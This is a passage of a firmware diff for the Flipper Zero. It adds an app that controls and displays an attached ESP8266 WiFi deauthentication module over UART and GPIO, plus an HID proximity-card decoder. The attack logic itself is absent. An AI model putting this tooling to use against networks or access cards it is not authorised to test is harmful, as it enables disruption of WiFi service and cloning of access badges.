#define WIFI_MODULE_INIT_VERSION "WFDM_0.1"
|
||||
|
||||
#define MODULE_CONTEXT_INITIALIZATION WIFI_MODULE_INIT_VERSION
|
||||
|
||||
#define FLIPPERZERO_SERIAL_BAUD 230400
|
||||
|
||||
#define NA 0
|
10
applications/esp8266_deauth/application.fam
Normal file
10
applications/esp8266_deauth/application.fam
Normal file
|
@ -0,0 +1,10 @@
|
|||
App(
|
||||
appid="esp8266_deauth",
|
||||
name="[ESP8266] Deauther",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="esp8266_deauth_app",
|
||||
cdefines=["APP_ESP8266_deauth"],
|
||||
requires=["gui"],
|
||||
stack_size=2 * 1024,
|
||||
order=100,
|
||||
)
|
536
applications/esp8266_deauth/esp8266_deauth.c
Normal file
536
applications/esp8266_deauth/esp8266_deauth.c
Normal file
|
@ -0,0 +1,536 @@
|
|||
#include <furi.h>
|
||||
#include <furi_hal_console.h>
|
||||
#include <furi_hal_gpio.h>
|
||||
#include <furi_hal_power.h>
|
||||
#include <furi_hal_uart.h>
|
||||
#include <gui/canvas_i.h>
|
||||
#include <gui/gui.h>
|
||||
#include <input/input.h>
|
||||
//#include <m-string.h>
|
||||
//#include <math.h>
|
||||
//#include <notification/notification.h>
|
||||
//#include <notification/notification_messages.h>
|
||||
//#include <stdlib.h>
|
||||
#include <stream_buffer.h>
|
||||
#include <u8g2.h>
|
||||
|
||||
#include "FlipperZeroWiFiDeauthModuleDefines.h"
|
||||
|
||||
#define DEAUTH_APP_DEBUG 0
|
||||
|
||||
#if DEAUTH_APP_DEBUG
|
||||
#define APP_NAME_TAG "WiFi_Scanner"
|
||||
#define DEAUTH_APP_LOG_I(format, ...) FURI_LOG_I(APP_NAME_TAG, format, ##__VA_ARGS__)
|
||||
#define DEAUTH_APP_LOG_D(format, ...) FURI_LOG_D(APP_NAME_TAG, format, ##__VA_ARGS__)
|
||||
#define DEAUTH_APP_LOG_E(format, ...) FURI_LOG_E(APP_NAME_TAG, format, ##__VA_ARGS__)
|
||||
#else
|
||||
#define DEAUTH_APP_LOG_I(format, ...)
|
||||
#define DEAUTH_APP_LOG_D(format, ...)
|
||||
#define DEAUTH_APP_LOG_E(format, ...)
|
||||
#endif // WIFI_APP_DEBUG
|
||||
|
||||
#define DISABLE_CONSOLE !DEAUTH_APP_DEBUG
|
||||
#define ENABLE_MODULE_POWER 1
|
||||
#define ENABLE_MODULE_DETECTION 1
|
||||
|
||||
typedef enum EEventType // app internally defined event types
|
||||
{ EventTypeKey // flipper input.h type
|
||||
} EEventType;
|
||||
|
||||
typedef struct SPluginEvent {
|
||||
EEventType m_type;
|
||||
InputEvent m_input;
|
||||
} SPluginEvent;
|
||||
|
||||
typedef enum EAppContext {
|
||||
Undefined,
|
||||
WaitingForModule,
|
||||
Initializing,
|
||||
ModuleActive,
|
||||
} EAppContext;
|
||||
|
||||
typedef enum EWorkerEventFlags {
|
||||
WorkerEventReserved = (1 << 0), // Reserved for StreamBuffer internal event
|
||||
WorkerEventStop = (1 << 1),
|
||||
WorkerEventRx = (1 << 2),
|
||||
} EWorkerEventFlags;
|
||||
|
||||
typedef struct SGpioButtons {
|
||||
GpioPin const* pinButtonUp;
|
||||
GpioPin const* pinButtonDown;
|
||||
GpioPin const* pinButtonOK;
|
||||
GpioPin const* pinButtonBack;
|
||||
} SGpioButtons;
|
||||
|
||||
typedef struct SWiFiDeauthApp {
|
||||
Gui* m_gui;
|
||||
FuriThread* m_worker_thread;
|
||||
//NotificationApp* m_notification;
|
||||
StreamBufferHandle_t m_rx_stream;
|
||||
SGpioButtons m_GpioButtons;
|
||||
|
||||
bool m_wifiDeauthModuleInitialized;
|
||||
bool m_wifiDeauthModuleAttached;
|
||||
|
||||
EAppContext m_context;
|
||||
|
||||
uint8_t m_backBuffer[128 * 8 * 8];
|
||||
//uint8_t m_renderBuffer[128 * 8 * 8];
|
||||
|
||||
uint8_t* m_backBufferPtr;
|
||||
//uint8_t* m_m_renderBufferPtr;
|
||||
|
||||
//uint8_t* m_originalBuffer;
|
||||
//uint8_t** m_originalBufferLocation;
|
||||
size_t m_canvasSize;
|
||||
|
||||
bool m_needUpdateGUI;
|
||||
} SWiFiDeauthApp;
|
||||
|
||||
/////// INIT STATE ///////
|
||||
static void esp8266_deauth_app_init(SWiFiDeauthApp* const app) {
|
||||
app->m_context = Undefined;
|
||||
|
||||
app->m_canvasSize = 128 * 8 * 8;
|
||||
memset(app->m_backBuffer, DEAUTH_APP_DEBUG ? 0xFF : 0x00, app->m_canvasSize);
|
||||
//memset(app->m_renderBuffer, DEAUTH_APP_DEBUG ? 0xFF : 0x00, app->m_canvasSize);
|
||||
|
||||
//app->m_originalBuffer = NULL;
|
||||
//app->m_originalBufferLocation = NULL;
|
||||
|
||||
//app->m_m_renderBufferPtr = app->m_renderBuffer;
|
||||
app->m_backBufferPtr = app->m_backBuffer;
|
||||
|
||||
app->m_GpioButtons.pinButtonUp = &gpio_ext_pc3;
|
||||
app->m_GpioButtons.pinButtonDown = &gpio_ext_pb2;
|
||||
app->m_GpioButtons.pinButtonOK = &gpio_ext_pb3;
|
||||
app->m_GpioButtons.pinButtonBack = &gpio_ext_pa4;
|
||||
|
||||
app->m_needUpdateGUI = false;
|
||||
|
||||
#if ENABLE_MODULE_POWER
|
||||
app->m_wifiDeauthModuleInitialized = false;
|
||||
#else
|
||||
app->m_wifiDeauthModuleInitialized = true;
|
||||
#endif // ENABLE_MODULE_POWER
|
||||
|
||||
#if ENABLE_MODULE_DETECTION
|
||||
app->m_wifiDeauthModuleAttached = false;
|
||||
#else
|
||||
app->m_wifiDeauthModuleAttached = true;
|
||||
#endif
|
||||
}
|
||||
|
||||
static void esp8266_deauth_module_render_callback(Canvas* const canvas, void* ctx) {
|
||||
SWiFiDeauthApp* app = acquire_mutex((ValueMutex*)ctx, 25);
|
||||
if(app == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
//if(app->m_needUpdateGUI)
|
||||
//{
|
||||
// app->m_needUpdateGUI = false;
|
||||
|
||||
// //app->m_canvasSize = canvas_get_buffer_size(canvas);
|
||||
// //app->m_originalBuffer = canvas_get_buffer(canvas);
|
||||
// //app->m_originalBufferLocation = &u8g2_GetBufferPtr(&canvas->fb);
|
||||
// //u8g2_GetBufferPtr(&canvas->fb) = app->m_m_renderBufferPtr;
|
||||
//}
|
||||
|
||||
//uint8_t* exchangeBuffers = app->m_m_renderBufferPtr;
|
||||
//app->m_m_renderBufferPtr = app->m_backBufferPtr;
|
||||
//app->m_backBufferPtr = exchangeBuffers;
|
||||
|
||||
//if(app->m_needUpdateGUI)
|
||||
//{
|
||||
// //memcpy(app->m_renderBuffer, app->m_backBuffer, app->m_canvasSize);
|
||||
// app->m_needUpdateGUI = false;
|
||||
//}
|
||||
|
||||
switch(app->m_context) {
|
||||
case Undefined: {
|
||||
canvas_clear(canvas);
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
|
||||
const char* strInitializing = "Something wrong";
|
||||
canvas_draw_str(
|
||||
canvas,
|
||||
(u8g2_GetDisplayWidth(&canvas->fb) / 2) -
|
||||
(canvas_string_width(canvas, strInitializing) / 2),
|
||||
(u8g2_GetDisplayHeight(&canvas->fb) /
|
||||
2) /* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/,
|
||||
strInitializing);
|
||||
} break;
|
||||
case WaitingForModule:
|
||||
#if ENABLE_MODULE_DETECTION
|
||||
furi_assert(!app->m_wifiDeauthModuleAttached);
|
||||
if(!app->m_wifiDeauthModuleAttached) {
|
||||
canvas_clear(canvas);
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
|
||||
const char* strInitializing = "Attach WiFi scanner module";
|
||||
canvas_draw_str(
|
||||
canvas,
|
||||
(u8g2_GetDisplayWidth(&canvas->fb) / 2) -
|
||||
(canvas_string_width(canvas, strInitializing) / 2),
|
||||
(u8g2_GetDisplayHeight(&canvas->fb) /
|
||||
2) /* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/,
|
||||
strInitializing);
|
||||
}
|
||||
#endif
|
||||
break;
|
||||
case Initializing:
|
||||
#if ENABLE_MODULE_POWER
|
||||
{
|
||||
furi_assert(!app->m_wifiDeauthModuleInitialized);
|
||||
if(!app->m_wifiDeauthModuleInitialized) {
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
|
||||
const char* strInitializing = "Initializing...";
|
||||
canvas_draw_str(
|
||||
canvas,
|
||||
(u8g2_GetDisplayWidth(&canvas->fb) / 2) -
|
||||
(canvas_string_width(canvas, strInitializing) / 2),
|
||||
(u8g2_GetDisplayHeight(&canvas->fb) / 2) -
|
||||
(u8g2_GetMaxCharHeight(&canvas->fb) / 2),
|
||||
strInitializing);
|
||||
}
|
||||
}
|
||||
#endif // ENABLE_MODULE_POWER
|
||||
break;
|
||||
case ModuleActive: {
|
||||
uint8_t* buffer = canvas_get_buffer(canvas);
|
||||
app->m_canvasSize = canvas_get_buffer_size(canvas);
|
||||
memcpy(buffer, app->m_backBuffer, app->m_canvasSize);
|
||||
} break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
release_mutex((ValueMutex*)ctx, app);
|
||||
}
|
||||
|
||||
static void
|
||||
esp8266_deauth_module_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
|
||||
furi_assert(event_queue);
|
||||
|
||||
SPluginEvent event = {.m_type = EventTypeKey, .m_input = *input_event};
|
||||
furi_message_queue_put(event_queue, &event, FuriWaitForever);
|
||||
}
|
||||
|
||||
static void uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) {
|
||||
furi_assert(context);
|
||||
BaseType_t xHigherPriorityTaskWoken = pdFALSE;
|
||||
|
||||
SWiFiDeauthApp* app = context;
|
||||
|
||||
DEAUTH_APP_LOG_I("uart_echo_on_irq_cb");
|
||||
|
||||
if(ev == UartIrqEventRXNE) {
|
||||
DEAUTH_APP_LOG_I("ev == UartIrqEventRXNE");
|
||||
xStreamBufferSendFromISR(app->m_rx_stream, &data, 1, &xHigherPriorityTaskWoken);
|
||||
furi_thread_flags_set(furi_thread_get_id(app->m_worker_thread), WorkerEventRx);
|
||||
portYIELD_FROM_ISR(xHigherPriorityTaskWoken);
|
||||
}
|
||||
}
|
||||
|
||||
static int32_t uart_worker(void* context) {
|
||||
furi_assert(context);
|
||||
DEAUTH_APP_LOG_I("[UART] Worker thread init");
|
||||
|
||||
SWiFiDeauthApp* app = acquire_mutex((ValueMutex*)context, 25);
|
||||
if(app == NULL) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
StreamBufferHandle_t rx_stream = app->m_rx_stream;
|
||||
|
||||
release_mutex((ValueMutex*)context, app);
|
||||
|
||||
#if ENABLE_MODULE_POWER
|
||||
bool initialized = false;
|
||||
|
||||
string_t receivedString;
|
||||
string_init(receivedString);
|
||||
#endif // ENABLE_MODULE_POWER
|
||||
|
||||
while(true) {
|
||||
uint32_t events = furi_thread_flags_wait(
|
||||
WorkerEventStop | WorkerEventRx, FuriFlagWaitAny, FuriWaitForever);
|
||||
furi_check((events & FuriFlagError) == 0);
|
||||
|
||||
if(events & WorkerEventStop) break;
|
||||
if(events & WorkerEventRx) {
|
||||
DEAUTH_APP_LOG_I("[UART] Received data");
|
||||
SWiFiDeauthApp* app = acquire_mutex((ValueMutex*)context, 25);
|
||||
if(app == NULL) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
size_t dataReceivedLength = 0;
|
||||
int index = 0;
|
||||
do {
|
||||
const uint8_t dataBufferSize = 64;
|
||||
uint8_t dataBuffer[dataBufferSize];
|
||||
dataReceivedLength =
|
||||
xStreamBufferReceive(rx_stream, dataBuffer, dataBufferSize, 25);
|
||||
if(dataReceivedLength > 0) {
|
||||
#if ENABLE_MODULE_POWER
|
||||
if(!initialized) {
|
||||
if(!(dataReceivedLength > strlen(MODULE_CONTEXT_INITIALIZATION))) {
|
||||
DEAUTH_APP_LOG_I("[UART] Found possible init candidate");
|
||||
for(uint16_t i = 0; i < dataReceivedLength; i++) {
|
||||
string_push_back(receivedString, dataBuffer[i]);
|
||||
}
|
||||
}
|
||||
} else
|
||||
#endif // ENABLE_MODULE_POWER
|
||||
{
|
||||
DEAUTH_APP_LOG_I("[UART] Data copied to backbuffer");
|
||||
memcpy(app->m_backBuffer + index, dataBuffer, dataReceivedLength);
|
||||
index += dataReceivedLength;
|
||||
app->m_needUpdateGUI = true;
|
||||
}
|
||||
}
|
||||
|
||||
} while(dataReceivedLength > 0);
|
||||
|
||||
#if ENABLE_MODULE_POWER
|
||||
if(!app->m_wifiDeauthModuleInitialized) {
|
||||
if(string_cmp_str(receivedString, MODULE_CONTEXT_INITIALIZATION) == 0) {
|
||||
DEAUTH_APP_LOG_I("[UART] Initialized");
|
||||
initialized = true;
|
||||
app->m_wifiDeauthModuleInitialized = true;
|
||||
app->m_context = ModuleActive;
|
||||
string_clear(receivedString);
|
||||
} else {
|
||||
DEAUTH_APP_LOG_I("[UART] Not an initialization command");
|
||||
string_reset(receivedString);
|
||||
}
|
||||
}
|
||||
#endif // ENABLE_MODULE_POWER
|
||||
|
||||
release_mutex((ValueMutex*)context, app);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int32_t esp8266_deauth_app(void* p) {
|
||||
UNUSED(p);
|
||||
|
||||
DEAUTH_APP_LOG_I("Init");
|
||||
|
||||
// FuriTimer* timer = furi_timer_alloc(blink_test_update, FuriTimerTypePeriodic, event_queue);
|
||||
// furi_timer_start(timer, furi_kernel_get_tick_frequency());
|
||||
|
||||
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(SPluginEvent));
|
||||
|
||||
SWiFiDeauthApp* app = malloc(sizeof(SWiFiDeauthApp));
|
||||
|
||||
esp8266_deauth_app_init(app);
|
||||
|
||||
furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonUp, GpioModeOutputPushPull);
|
||||
furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonDown, GpioModeOutputPushPull);
|
||||
furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonOK, GpioModeOutputPushPull);
|
||||
furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonBack, GpioModeOutputPushPull);
|
||||
|
||||
furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, true);
|
||||
furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, true);
|
||||
furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, true);
|
||||
furi_hal_gpio_write(
|
||||
app->m_GpioButtons.pinButtonBack, false); // GPIO15 - Boot fails if pulled HIGH
|
||||
|
||||
#if ENABLE_MODULE_DETECTION
|
||||
furi_hal_gpio_init(
|
||||
&gpio_ext_pc0,
|
||||
GpioModeInput,
|
||||
GpioPullUp,
|
||||
GpioSpeedLow); // Connect to the Flipper's ground just to be sure
|
||||
//furi_hal_gpio_add_int_callback(pinD0, input_isr_d0, this);
|
||||
app->m_context = WaitingForModule;
|
||||
#else
|
||||
#if ENABLE_MODULE_POWER
|
||||
app->m_context = Initializing;
|
||||
furi_hal_power_enable_otg();
|
||||
#else
|
||||
app->m_context = ModuleActive;
|
||||
#endif
|
||||
#endif // ENABLE_MODULE_DETECTION
|
||||
|
||||
ValueMutex app_data_mutex;
|
||||
if(!init_mutex(&app_data_mutex, app, sizeof(SWiFiDeauthApp))) {
|
||||
DEAUTH_APP_LOG_E("cannot create mutex\r\n");
|
||||
free(app);
|
||||
return 255;
|
||||
}
|
||||
|
||||
DEAUTH_APP_LOG_I("Mutex created");
|
||||
|
||||
app->m_rx_stream = xStreamBufferCreate(1 * 1024, 1);
|
||||
|
||||
//app->m_notification = furi_record_open("notification");
|
||||
|
||||
ViewPort* view_port = view_port_alloc();
|
||||
view_port_draw_callback_set(view_port, esp8266_deauth_module_render_callback, &app_data_mutex);
|
||||
view_port_input_callback_set(view_port, esp8266_deauth_module_input_callback, event_queue);
|
||||
|
||||
// Open GUI and register view_port
|
||||
Gui* gui = furi_record_open("gui");
|
||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
||||
|
||||
//notification_message(app->notification, &sequence_set_only_blue_255);
|
||||
|
||||
// Enable uart listener
|
||||
#if DISABLE_CONSOLE
|
||||
furi_hal_console_disable();
|
||||
#endif
|
||||
furi_hal_uart_set_br(FuriHalUartIdUSART1, FLIPPERZERO_SERIAL_BAUD);
|
||||
furi_hal_uart_set_irq_cb(FuriHalUartIdUSART1, uart_on_irq_cb, app);
|
||||
DEAUTH_APP_LOG_I("UART Listener created");
|
||||
|
||||
app->m_worker_thread = furi_thread_alloc();
|
||||
furi_thread_set_name(app->m_worker_thread, "WiFiDeauthModuleUARTWorker");
|
||||
furi_thread_set_stack_size(app->m_worker_thread, 1 * 1024);
|
||||
furi_thread_set_context(app->m_worker_thread, &app_data_mutex);
|
||||
furi_thread_set_callback(app->m_worker_thread, uart_worker);
|
||||
furi_thread_start(app->m_worker_thread);
|
||||
DEAUTH_APP_LOG_I("UART thread allocated");
|
||||
|
||||
SPluginEvent event;
|
||||
for(bool processing = true; processing;) {
|
||||
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
|
||||
SWiFiDeauthApp* app = (SWiFiDeauthApp*)acquire_mutex_block(&app_data_mutex);
|
||||
|
||||
#if ENABLE_MODULE_DETECTION
|
||||
if(!app->m_wifiDeauthModuleAttached) {
|
||||
if(furi_hal_gpio_read(&gpio_ext_pc0) == false) {
|
||||
DEAUTH_APP_LOG_I("Module Attached");
|
||||
app->m_wifiDeauthModuleAttached = true;
|
||||
#if ENABLE_MODULE_POWER
|
||||
app->m_context = Initializing;
|
||||
furi_hal_power_enable_otg();
|
||||
#else
|
||||
app->m_context = ModuleActive;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
#endif // ENABLE_MODULE_DETECTION
|
||||
|
||||
if(event_status == FuriStatusOk) {
|
||||
if(event.m_type == EventTypeKey) {
|
||||
if(app->m_wifiDeauthModuleInitialized) {
|
||||
if(app->m_context == ModuleActive) {
|
||||
switch(event.m_input.key) {
|
||||
case InputKeyUp:
|
||||
if(event.m_input.type == InputTypePress) {
|
||||
DEAUTH_APP_LOG_I("Up Press");
|
||||
furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, false);
|
||||
} else if(event.m_input.type == InputTypeRelease) {
|
||||
DEAUTH_APP_LOG_I("Up Release");
|
||||
furi_hal_gpio_write(app->m_GpioButtons.pinButtonUp, true);
|
||||
}
|
||||
break;
|
||||
case InputKeyDown:
|
||||
if(event.m_input.type == InputTypePress) {
|
||||
DEAUTH_APP_LOG_I("Down Press");
|
||||
furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, false);
|
||||
} else if(event.m_input.type == InputTypeRelease) {
|
||||
DEAUTH_APP_LOG_I("Down Release");
|
||||
furi_hal_gpio_write(app->m_GpioButtons.pinButtonDown, true);
|
||||
}
|
||||
break;
|
||||
case InputKeyOk:
|
||||
if(event.m_input.type == InputTypePress) {
|
||||
DEAUTH_APP_LOG_I("OK Press");
|
||||
furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, false);
|
||||
} else if(event.m_input.type == InputTypeRelease) {
|
||||
DEAUTH_APP_LOG_I("OK Release");
|
||||
furi_hal_gpio_write(app->m_GpioButtons.pinButtonOK, true);
|
||||
}
|
||||
break;
|
||||
case InputKeyBack:
|
||||
if(event.m_input.type == InputTypePress) {
|
||||
DEAUTH_APP_LOG_I("Back Press");
|
||||
furi_hal_gpio_write(app->m_GpioButtons.pinButtonBack, false);
|
||||
} else if(event.m_input.type == InputTypeRelease) {
|
||||
DEAUTH_APP_LOG_I("Back Release");
|
||||
furi_hal_gpio_write(app->m_GpioButtons.pinButtonBack, true);
|
||||
} else if(event.m_input.type == InputTypeLong) {
|
||||
DEAUTH_APP_LOG_I("Back Long");
|
||||
processing = false;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if(event.m_input.key == InputKeyBack) {
|
||||
if(event.m_input.type == InputTypeShort ||
|
||||
event.m_input.type == InputTypeLong) {
|
||||
processing = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
DEAUTH_APP_LOG_D("osMessageQueue: event timeout");
|
||||
}
|
||||
|
||||
#if ENABLE_MODULE_DETECTION
|
||||
if(app->m_wifiDeauthModuleAttached && furi_hal_gpio_read(&gpio_ext_pc0) == true) {
|
||||
DEAUTH_APP_LOG_D("Module Disconnected - Exit");
|
||||
processing = false;
|
||||
app->m_wifiDeauthModuleAttached = false;
|
||||
app->m_wifiDeauthModuleInitialized = false;
|
||||
}
|
||||
#endif
|
||||
|
||||
view_port_update(view_port);
|
||||
release_mutex(&app_data_mutex, app);
|
||||
}
|
||||
|
||||
DEAUTH_APP_LOG_I("Start exit app");
|
||||
|
||||
furi_thread_flags_set(furi_thread_get_id(app->m_worker_thread), WorkerEventStop);
|
||||
furi_thread_join(app->m_worker_thread);
|
||||
furi_thread_free(app->m_worker_thread);
|
||||
|
||||
DEAUTH_APP_LOG_I("Thread Deleted");
|
||||
|
||||
#if DISABLE_CONSOLE
|
||||
furi_hal_console_enable();
|
||||
#endif
|
||||
|
||||
//*app->m_originalBufferLocation = app->m_originalBuffer;
|
||||
|
||||
view_port_enabled_set(view_port, false);
|
||||
|
||||
gui_remove_view_port(gui, view_port);
|
||||
|
||||
// Close gui record
|
||||
furi_record_close("gui");
|
||||
furi_record_close("notification");
|
||||
app->m_gui = NULL;
|
||||
|
||||
view_port_free(view_port);
|
||||
|
||||
furi_message_queue_free(event_queue);
|
||||
|
||||
vStreamBufferDelete(app->m_rx_stream);
|
||||
|
||||
delete_mutex(&app_data_mutex);
|
||||
|
||||
// Free rest
|
||||
free(app);
|
||||
|
||||
DEAUTH_APP_LOG_I("App freed");
|
||||
|
||||
#if ENABLE_MODULE_POWER
|
||||
furi_hal_power_disable_otg();
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
9
applications/hid_analyzer/application.fam
Normal file
9
applications/hid_analyzer/application.fam
Normal file
|
@ -0,0 +1,9 @@
|
|||
App(
|
||||
appid="hid_analyzer",
|
||||
name="HID Analyzer",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="hid_analyzer_app",
|
||||
cdefines=["APP_HID_ANALYZER"],
|
||||
stack_size=2 * 1024,
|
||||
order=40,
|
||||
)
|
98
applications/hid_analyzer/helpers/decoder_hid.cpp
Normal file
98
applications/hid_analyzer/helpers/decoder_hid.cpp
Normal file
|
@ -0,0 +1,98 @@
|
|||
#include "decoder_hid.h"
|
||||
#include <furi_hal.h>
|
||||
|
||||
constexpr uint32_t clocks_in_us = 64;
|
||||
|
||||
constexpr uint32_t jitter_time_us = 20;
|
||||
constexpr uint32_t min_time_us = 64;
|
||||
constexpr uint32_t max_time_us = 80;
|
||||
|
||||
constexpr uint32_t min_time = (min_time_us - jitter_time_us) * clocks_in_us;
|
||||
constexpr uint32_t mid_time = ((max_time_us - min_time_us) / 2 + min_time_us) * clocks_in_us;
|
||||
constexpr uint32_t max_time = (max_time_us + jitter_time_us) * clocks_in_us;
|
||||
|
||||
bool DecoderHID::read(uint8_t* data, uint8_t data_size) {
|
||||
bool result = false;
|
||||
furi_assert(data_size >= 3);
|
||||
|
||||
if(ready) {
|
||||
result = true;
|
||||
hid.decode(
|
||||
reinterpret_cast<const uint8_t*>(&stored_data), sizeof(uint32_t) * 3, data, data_size);
|
||||
ready = false;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void DecoderHID::process_front(bool polarity, uint32_t time) {
|
||||
if(ready) return;
|
||||
|
||||
if(polarity == true) {
|
||||
last_pulse_time = time;
|
||||
} else {
|
||||
last_pulse_time += time;
|
||||
|
||||
if(last_pulse_time > min_time && last_pulse_time < max_time) {
|
||||
bool pulse;
|
||||
|
||||
if(last_pulse_time < mid_time) {
|
||||
// 6 pulses
|
||||
pulse = false;
|
||||
} else {
|
||||
// 5 pulses
|
||||
pulse = true;
|
||||
}
|
||||
|
||||
if(last_pulse == pulse) {
|
||||
pulse_count++;
|
||||
|
||||
if(pulse) {
|
||||
if(pulse_count > 4) {
|
||||
pulse_count = 0;
|
||||
store_data(1);
|
||||
}
|
||||
} else {
|
||||
if(pulse_count > 5) {
|
||||
pulse_count = 0;
|
||||
store_data(0);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if(last_pulse) {
|
||||
if(pulse_count > 2) {
|
||||
store_data(1);
|
||||
}
|
||||
} else {
|
||||
if(pulse_count > 3) {
|
||||
store_data(0);
|
||||
}
|
||||
}
|
||||
|
||||
pulse_count = 0;
|
||||
last_pulse = pulse;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DecoderHID::DecoderHID() {
|
||||
reset_state();
|
||||
}
|
||||
|
||||
void DecoderHID::store_data(bool data) {
|
||||
stored_data[0] = (stored_data[0] << 1) | ((stored_data[1] >> 31) & 1);
|
||||
stored_data[1] = (stored_data[1] << 1) | ((stored_data[2] >> 31) & 1);
|
||||
stored_data[2] = (stored_data[2] << 1) | data;
|
||||
|
||||
if(hid.can_be_decoded(reinterpret_cast<const uint8_t*>(&stored_data), sizeof(uint32_t) * 3)) {
|
||||
ready = true;
|
||||
}
|
||||
}
|
||||
|
||||
void DecoderHID::reset_state() {
|
||||
last_pulse = false;
|
||||
pulse_count = 0;
|
||||
ready = false;
|
||||
last_pulse_time = 0;
|
||||
}
|
24
applications/hid_analyzer/helpers/decoder_hid.h
Normal file
24
applications/hid_analyzer/helpers/decoder_hid.h
Normal file
|
@ -0,0 +1,24 @@
|
|||
#pragma once
|
||||
#include <stdint.h>
|
||||
#include <atomic>
|
||||
#include "protocols/protocol_hid.h"
|
||||
|
||||
class DecoderHID {
|
||||
public:
|
||||
bool read(uint8_t* data, uint8_t data_size);
|
||||
void process_front(bool polarity, uint32_t time);
|
||||
DecoderHID();
|
||||
|
||||
private:
|
||||
uint32_t last_pulse_time = 0;
|
||||
bool last_pulse;
|
||||
uint8_t pulse_count;
|
||||
|
||||
uint32_t stored_data[3] = {0, 0, 0};
|
||||
void store_data(bool data);
|
||||
|
||||
std::atomic<bool> ready;
|
||||
|
||||
void reset_state();
|
||||
ProtocolHID hid;
|
||||
};
|
143
applications/hid_analyzer/helpers/hid_reader.cpp
Normal file
143
applications/hid_analyzer/helpers/hid_reader.cpp
Normal file
|
@ -0,0 +1,143 @@
|
|||
#include "hid_reader.h"
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <stm32wbxx_ll_cortex.h>
|
||||
|
||||
/**
|
||||
* @brief private violation assistant for HIDReader
|
||||
*/
|
||||
struct HIDReaderAccessor {
|
||||
static void decode(HIDReader& hid_reader, bool polarity) {
|
||||
hid_reader.decode(polarity);
|
||||
}
|
||||
};
|
||||
|
||||
void HIDReader::decode(bool polarity) {
|
||||
uint32_t current_dwt_value = DWT->CYCCNT;
|
||||
uint32_t period = current_dwt_value - last_dwt_value;
|
||||
last_dwt_value = current_dwt_value;
|
||||
|
||||
decoder_hid.process_front(polarity, period);
|
||||
|
||||
detect_ticks++;
|
||||
}
|
||||
|
||||
bool HIDReader::switch_timer_elapsed() {
|
||||
const uint32_t seconds_to_switch = furi_kernel_get_tick_frequency() * 2.0f;
|
||||
return (furi_get_tick() - switch_os_tick_last) > seconds_to_switch;
|
||||
}
|
||||
|
||||
void HIDReader::switch_timer_reset() {
|
||||
switch_os_tick_last = furi_get_tick();
|
||||
}
|
||||
|
||||
void HIDReader::switch_mode() {
|
||||
switch(type) {
|
||||
case Type::Normal:
|
||||
type = Type::Indala;
|
||||
furi_hal_rfid_change_read_config(62500.0f, 0.25f);
|
||||
break;
|
||||
case Type::Indala:
|
||||
type = Type::Normal;
|
||||
furi_hal_rfid_change_read_config(125000.0f, 0.5f);
|
||||
break;
|
||||
}
|
||||
|
||||
switch_timer_reset();
|
||||
}
|
||||
|
||||
static void comparator_trigger_callback(bool level, void* comp_ctx) {
|
||||
HIDReader* _this = static_cast<HIDReader*>(comp_ctx);
|
||||
|
||||
HIDReaderAccessor::decode(*_this, !level);
|
||||
}
|
||||
|
||||
HIDReader::HIDReader() {
|
||||
}
|
||||
|
||||
void HIDReader::start() {
|
||||
type = Type::Normal;
|
||||
|
||||
furi_hal_rfid_pins_read();
|
||||
furi_hal_rfid_tim_read(125000, 0.5);
|
||||
furi_hal_rfid_tim_read_start();
|
||||
start_comparator();
|
||||
|
||||
switch_timer_reset();
|
||||
last_read_count = 0;
|
||||
}
|
||||
|
||||
void HIDReader::start_forced(HIDReader::Type _type) {
|
||||
start();
|
||||
if(_type == Type::Indala) {
|
||||
switch_mode();
|
||||
}
|
||||
}
|
||||
|
||||
void HIDReader::stop() {
|
||||
furi_hal_rfid_pins_reset();
|
||||
furi_hal_rfid_tim_read_stop();
|
||||
furi_hal_rfid_tim_reset();
|
||||
stop_comparator();
|
||||
}
|
||||
|
||||
bool HIDReader::read(LfrfidKeyType* _type, uint8_t* data, uint8_t data_size, bool switch_enable) {
|
||||
bool result = false;
|
||||
bool something_read = false;
|
||||
|
||||
if(decoder_hid.read(data, data_size)) {
|
||||
*_type = LfrfidKeyType::KeyH10301; // should be an OK temp
|
||||
something_read = true;
|
||||
}
|
||||
|
||||
// validation
|
||||
if(something_read) {
|
||||
switch_timer_reset();
|
||||
|
||||
if(last_read_type == *_type && memcmp(last_read_data, data, data_size) == 0) {
|
||||
last_read_count = last_read_count + 1;
|
||||
|
||||
if(last_read_count > 2) {
|
||||
result = true;
|
||||
}
|
||||
} else {
|
||||
last_read_type = *_type;
|
||||
